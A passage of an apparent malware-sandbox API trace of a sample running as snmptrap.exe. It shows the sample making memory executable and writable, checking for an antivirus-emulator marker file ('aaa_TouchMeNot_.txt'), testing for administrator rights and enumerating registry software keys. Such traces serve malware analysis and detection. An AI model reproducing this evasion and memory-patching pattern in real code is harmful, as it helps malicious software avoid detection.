returned 0x0 [0253.067] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0253.067] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0253.068] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0253.068] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0253.068] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0253.074] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x280000 [0253.076] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0253.076] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0253.076] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0253.076] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0253.653] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.662] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xe10000 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x104) returned 0xe107d0 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe108e0 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10968 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe109f0 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10a78 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10b00 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10b88 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10c10 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10c98 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10d20 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10da8 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10e30 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10eb8 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10f40 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe10fc8 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe11050 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x80) returned 0xe110d8 [0253.702] RtlAllocateHeap (HeapHandle=0xe10000, Flags=0x8, Size=0x400) returned 0xe11160 [0253.702] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0xff0000 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xff07d0 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xff0858 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xff08e0 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x184) returned 0xff0968 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0af8 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0b40 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0b88 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0bd0 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0c18 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0c60 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0ca8 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0cf0 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0d38 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0d80 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0dc8 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0e10 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0e58 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0ea0 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0ee8 [0253.703] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0f30 [0253.704] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\System32\\snmptrap.exe" (normalized: "c:\\windows\\system32\\snmptrap.exe")) returned 0x20 [0253.704] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xff0f78 [0253.704] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x2c) returned 0xffb828 [0253.710] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0253.710] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0253.710] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0253.710] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0253.710] GetLastError () returned 0x7a [0253.711] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x140) returned 0xffb860 [0253.711] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0xffb860, TokenInformationLength=0x104, ReturnLength=0x18fbec | out: TokenInformation=0xffb860, ReturnLength=0x18fbec) returned 1 [0253.711] AllocateAndInitializeSid (in: pIdentifierAuthority=0x18fbfc, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x18fbf4 | out: pSid=0x18fbf4*=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xdb, [5]=0xbe))) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0253.711] EqualSid (pSid1=0x2d49c0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0xffb954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0253.711] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffb860) returned 1 [0253.711] NtClose (Handle=0xc4) returned 0x0 [0253.711] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffb860 [0253.712] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffb8a8 [0253.713] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x280) returned 0xffb930 [0253.713] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0253.719] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0xffb930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0253.719] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbc58 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0xffbc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbca0 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc58) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbca0) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.720] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0xffb930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbca0 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0xffbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbc58 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbca0) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc58) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.720] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0xffb930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbc58 [0253.720] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0xffbc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0253.720] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbca0 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc58) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbca0) returned 1 [0253.720] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.720] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0xffb930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbca0 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0xffbca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbc58 [0253.721] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbca0) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc58) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.721] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0xffb930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbc58 [0253.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0xffbc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbca0 [0253.721] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbc58) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbca0) returned 1 [0253.721] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.721] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x184) returned 0xffd040 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbca0 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbc58 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbce8 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbd30 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbd78 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbdc0 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbe08 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbe50 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbe98 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbee0 [0253.721] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbf28 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbf70 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffbfb8 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc000 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc048 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc090 [0253.722] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0xffb930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0xffc0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0xffb930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0xffb930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0xffc0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0253.722] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.722] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.722] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0xffb930, cchName=0x104 | out: lpName="Clients") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc120 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clients", cchWideChar=7, lpMultiByteStr=0xffc120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clients", lpUsedDefaultChar=0x0) returned 7 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x40) returned 0xffc0d8 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc120) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffc0d8) returned 1 [0253.723] RtlFreeHeap (HeapHandle=0xff0000, Flags=0x0, BaseAddress=0xffbbb8) returned 1 [0253.723] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0xffb930, cchName=0x104 | out: lpName="Intel") returned 0x0 [0253.723] RtlAllocateHeap (HeapHandle=0xff0000, Flags=0x8, Size=0x80) returned 0xffbbb8 [0253.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="intel", 